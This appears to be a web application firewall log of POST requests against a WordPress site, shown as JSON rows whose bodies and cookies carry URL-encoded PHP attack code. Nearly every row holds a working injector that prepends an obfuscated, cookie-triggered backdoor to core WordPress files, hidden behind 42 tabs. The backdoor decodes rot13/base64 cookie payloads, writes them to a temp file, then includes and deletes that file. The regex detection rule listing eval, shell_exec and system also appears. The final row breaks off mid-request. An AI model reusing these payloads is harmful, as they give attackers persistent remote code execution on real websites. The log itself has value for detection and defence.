\/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:3249\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnyRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\ncontent-type:application\/x-www-form-urlencoded\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nhost:dewenlabels.com\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-site:none\n\njQ=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/settings.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B24%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D4%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B24%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B24%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B24%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B4%252B1%253B%257D%2524k%253D%2524p%255B15%255D%2528%2529.%2524p%255B9%255D%253Bif%2528%2521%2524p%255B13%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B10%255D%2528%2524k%252C%2524p%255B1%255D%2529%253B%2524p%255B29%255D%2528%2524n%252C%2524p%255B5%255D.%2524p%255B3%255D%2528%2524p%255B26%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 16:53:45","78.142.18.172","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/settings.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B24%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D4%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B24%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B24%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B24%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B4%252B1%253B%257D%2524k%253D%2524p%255B15%255D%2528%2529.%2524p%255B9%255D%253Bif%2528%2521%2524p%255B13%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B10%255D%2528%2524k%252C%2524p%255B1%255D%2529%253B%2524p%255B29%255D%2528%2524n%252C%2524p%255B5%255D.%2524p%255B3%255D%2528%2524p%255B26%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\ncontent-length:3272\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nhost:dewenlabels.com\nsec-ch-ua-mobile:?0\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nsec-ch-ua-platform:\"Windows\"\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-site:none\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/settings.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B24%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D4%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B24%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B24%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B24%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B4%252B1%253B%257D%2524k%253D%2524p%255B15%255D%2528%2529.%2524p%255B9%255D%253Bif%2528%2521%2524p%255B13%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B10%255D%2528%2524k%252C%2524p%255B1%255D%2529%253B%2524p%255B29%255D%2528%2524n%252C%2524p%255B5%255D.%2524p%255B3%255D%2528%2524p%255B26%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 16:53:54","50.6.7.129","POST","\/","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> sy:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sitemaps\/providers\/class-wp-sitemaps-taxonomies.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B49%252B-49%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-10%252B11%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-66%252B69%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B99%252B-95%255D%2529%2529%2520%257B%2520%2524flg%2520%253D%2520%2524_COOKIE%253B%2520function%2520auth_exception_handler%2528%2524ptr%2529%2520%257B%2520%2524flg%2520%253D%2520%2524_COOKIE%253B%2520%2524record%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252742185c77%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524record%2529%2529%2520%257B%2520%2524record%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522task_processor%2522%253B%2520%257D%2520%2524sym%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524flg%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524record%2529%2529%2520%257B%2520%2524dchunk%2520%253D%2520fopen%2528%2524record%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524dchunk%252C%2520%2524sym%2529%253B%2520fclose%2528%2524dchunk%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524record%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524record%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522auth_exception_handler%2522%2529%253B%2520%2524comp%2520%253D%2520%25224b0b32b35afd307e21d4a3ce1657128e%2522%253B%2520if%2520%2528%2521strncmp%2528%2524comp%252C%2520%2524flg%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522module_controller_batch_process%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-mode:navigate\nsec-fetch-dest:document\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvp3xvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2gyMPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:4366\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nsec-fetch-site:none\n\nsy=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sitemaps\/providers\/class-wp-sitemaps-taxonomies.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B49%252B-49%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-10%252B11%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-66%252B69%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B99%252B-95%255D%2529%2529%2520%257B%2520%2524flg%2520%253D%2520%2524_COOKIE%253B%2520function%2520auth_exception_handler%2528%2524ptr%2529%2520%257B%2520%2524flg%2520%253D%2520%2524_COOKIE%253B%2520%2524record%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252742185c77%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524record%2529%2529%2520%257B%2520%2524record%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522task_processor%2522%253B%2520%257D%2520%2524sym%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524flg%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524record%2529%2529%2520%257B%2520%2524dchunk%2520%253D%2520fopen%2528%2524record%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524dchunk%252C%2520%2524sym%2529%253B%2520fclose%2528%2524dchunk%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524record%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524record%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522auth_exception_handler%2522%2529%253B%2520%2524comp%2520%253D%2520%25224b0b32b35afd307e21d4a3ce1657128e%2522%253B%2520if%2520%2528%2521strncmp%2528%2524comp%252C%2520%2524flg%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522module_controller_batch_process%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 16:54:01","171.244.34.150","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> AQ:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sitemaps\/providers\/class-wp-sitemaps-taxonomies.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B49%252B-49%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-10%252B11%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-66%252B69%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B99%252B-95%255D%2529%2529%2520%257B%2520%2524flg%2520%253D%2520%2524_COOKIE%253B%2520function%2520auth_exception_handler%2528%2524ptr%2529%2520%257B%2520%2524flg%2520%253D%2520%2524_COOKIE%253B%2520%2524record%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252742185c77%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524record%2529%2529%2520%257B%2520%2524record%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522task_processor%2522%253B%2520%257D%2520%2524sym%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524flg%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524record%2529%2529%2520%257B%2520%2524dchunk%2520%253D%2520fopen%2528%2524record%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524dchunk%252C%2520%2524sym%2529%253B%2520fclose%2528%2524dchunk%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524record%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524record%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522auth_exception_handler%2522%2529%253B%2520%2524comp%2520%253D%2520%25224b0b32b35afd307e21d4a3ce1657128e%2522%253B%2520if%2520%2528%2521strncmp%2528%2524comp%252C%2520%2524flg%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522module_controller_batch_process%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvDIRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3EmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-length:4366\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\n\nAQ=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sitemaps\/providers\/class-wp-sitemaps-taxonomies.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B49%252B-49%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-10%252B11%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-66%252B69%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B99%252B-95%255D%2529%2529%2520%257B%2520%2524flg%2520%253D%2520%2524_COOKIE%253B%2520function%2520auth_exception_handler%2528%2524ptr%2529%2520%257B%2520%2524flg%2520%253D%2520%2524_COOKIE%253B%2520%2524record%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252742185c77%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524record%2529%2529%2520%257B%2520%2524record%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522task_processor%2522%253B%2520%257D%2520%2524sym%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524flg%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524record%2529%2529%2520%257B%2520%2524dchunk%2520%253D%2520fopen%2528%2524record%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524dchunk%252C%2520%2524sym%2529%253B%2520fclose%2528%2524dchunk%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524record%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524record%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522auth_exception_handler%2522%2529%253B%2520%2524comp%2520%253D%2520%25224b0b32b35afd307e21d4a3ce1657128e%2522%253B%2520if%2520%2528%2521strncmp%2528%2524comp%252C%2520%2524flg%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522module_controller_batch_process%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%2